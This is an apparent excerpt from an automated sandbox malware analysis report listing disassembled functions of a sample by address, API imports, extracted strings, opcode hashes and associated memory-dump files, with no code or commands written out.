Instruction Fuzzy Hash: 23111870254208FFDB40DF64D884FAB33A9AF89310F509548FA198B250DB39EC41EB62

Function 6C656CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C656D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C656E1E

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction ID: 1bbb108be75b257b61e597a67c12d6e725ad8e01d9c68dda3d1cad55443075af
Opcode Fuzzy Hash: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction Fuzzy Hash: 07A18D70A183818FC715CF25C4907AEFBE2BF89308F54891DE48A87B51DB70E859CB96

Function 00783720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0078E118,00000000,00000001,0078E108,00000000), ref: 00783758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 007837B0

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: fdc35584411aa98ad7a7cb59d61d426fbb4bce5876cfde05ada8906b79f85748
Instruction ID: 785f436987b74d7f29d136a6eed85a015ce86350552adc699a53595886ae95ff
Opcode Fuzzy Hash: fdc35584411aa98ad7a7cb59d61d426fbb4bce5876cfde05ada8906b79f85748
Instruction Fuzzy Hash: A441E970A40A289FDB24DB58CC99B9BB7B5BB48702F4041D8E618E72D0D7716E85CF50

Function 00B39D7D Relevance: 4.2, Strings: 2, Instructions: 1687COMMON

Download Yara Rule

Strings

8zk, xrefs: 00B3B091
5%:, xrefs: 00B3AE2C

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5%:$8zk
API String ID: 0-1477098427
Opcode ID: 9eb249d21f0ce707f55c4572a81ad37b1b5e7d3a510285f491780b96827c2c2b
Instruction ID: 3b8a693ae59ce738b22d9ef6422dafd6296f6ce00501356e6cb29599c113bff7
Opcode Fuzzy Hash: 9eb249d21f0ce707f55c4572a81ad37b1b5e7d3a510285f491780b96827c2c2b
Instruction Fuzzy Hash: BBB238F360C2049FE304AE2DEC8567AFBE9EF94720F16493DE6C4C7744EA3558058696

Function 00B440C5 Relevance: 4.0, Strings: 2, Instructions: 1528COMMON

Download Yara Rule

Strings

Bw, xrefs: 00B443CF
0~?, xrefs: 00B44975

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0~?$Bw
API String ID: 0-2958511787
Opcode ID: c56609df94d8dbc18fc68f8cbd3238de6cd2033d879adb798efb37167b099ee0
Instruction ID: b79345ecafaa83cc90c4ea8f0a68eb38c6b5d9d0b554ae78cb047596e02df57f
Opcode Fuzzy Hash: c56609df94d8dbc18fc68f8cbd3238de6cd2033d879adb798efb37167b099ee0
Instruction Fuzzy Hash: 07A2F4F3A0C2009FE7046E2DEC8577ABBE5EF94720F1A493DEAC583344E63598158697

Function 00B3B989 Relevance: 4.0, Strings: 2, Instructions: 1520COMMON

Download Yara Rule

Strings

t){, xrefs: 00B3CB99
}_^}, xrefs: 00B3C1BC

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: t){$}_^}
API String ID: 0-2622620807
Opcode ID: 81512863fa1f6fc82498e6415c0a01c88dc8fe4bf36787625aae4c24b45b03ea
Instruction ID: dcf6f9e1f1a751c41e3f45cc718687d5ed079d68bee64784c906606d252acba9
Opcode Fuzzy Hash: 81512863fa1f6fc82498e6415c0a01c88dc8fe4bf36787625aae4c24b45b03ea
Instruction Fuzzy Hash: 1DA2D3B36086009FE704AE2DEC8567AFBE5EF94720F1A493DEAC4C3744E63598058797

Function 00A91430 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

BH2, xrefs: 00A9143A
rww, xrefs: 00A915E1

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: BH2$rww
API String ID: 0-2687340057
Opcode ID: 5dccda0b45c4f3401b31bf7e5292732bf4ef3441ee261d0aa56f9c019f06ea7c
Instruction ID: 1c6996f624b5a720a809ae58e172cf48603fea9bfd908264ebdf39809a70bfa5
Opcode Fuzzy Hash: 5dccda0b45c4f3401b31bf7e5292732bf4ef3441ee261d0aa56f9c019f06ea7c
Instruction Fuzzy Hash: B56148F3E081204BF3149E3DDC99366BAD6AB94320F1B863DDA89A77C4D9794C0486C5

Function 6C655C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C624A63,?,?), ref: 6C655F06

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction ID: 5cc6a3413c2593eca56485b4713e7aa7acfb83940c8aade7d245c3e6363a4650
Opcode Fuzzy Hash: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction Fuzzy Hash: 15C1BE75E012098BCB04CF95C1946EEBBF2BF8A318F78825DD8556BB40D732A816CF84

Function 00A21C45 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

^~{, xrefs: 00A21D9C

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^~{
API String ID: 0-991362560
Opcode ID: d1fb7d79e7cf72aa740ff1597484165cd74f8f31eeb2573ece80748ff4d9b481
Instruction ID: d3b3466d84e686c508cb9e25f17ca97a7e586e5ed16055127162eb40dcb0bee1
Opcode Fuzzy Hash: d1fb7d79e7cf72aa740ff1597484165cd74f8f31eeb2573ece80748ff4d9b481
Instruction Fuzzy Hash: BC711AB3A082009FF304AE2DDC8577AB7D9EFD4320F1A863DDAD8C7784D67948058692

Function 00A39970 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

'&\, xrefs: 00A39A31

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '&\
API String ID: 0-2520935392
Opcode ID: b39fba341edc738020c1d71827b4cbdafdf51061d6325ceb38708ddc59d955ce
Instruction ID: f9e9275d8f6715d313c6df1fe463d6208449568a7dc7ce0400b03d02d5cf16fc
Opcode Fuzzy Hash: b39fba341edc738020c1d71827b4cbdafdf51061d6325ceb38708ddc59d955ce
Instruction Fuzzy Hash: 3851B4F3A086049FE3146A1ADC4577AFBE9EBD4320F1A493DEBC4C3740EA7958418696

Function 6C68AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction ID: daef6f35b6ea0cecdf8a28756022cc9b87cbf6e4184982f508ec8f5103ed23c8
Opcode Fuzzy Hash: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction Fuzzy Hash: F1F13B7160A7454FD700CE28C8907AAB7E2AFC6318F148A2DEDD4877D2E774D84587A6

Function 009DADC0 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
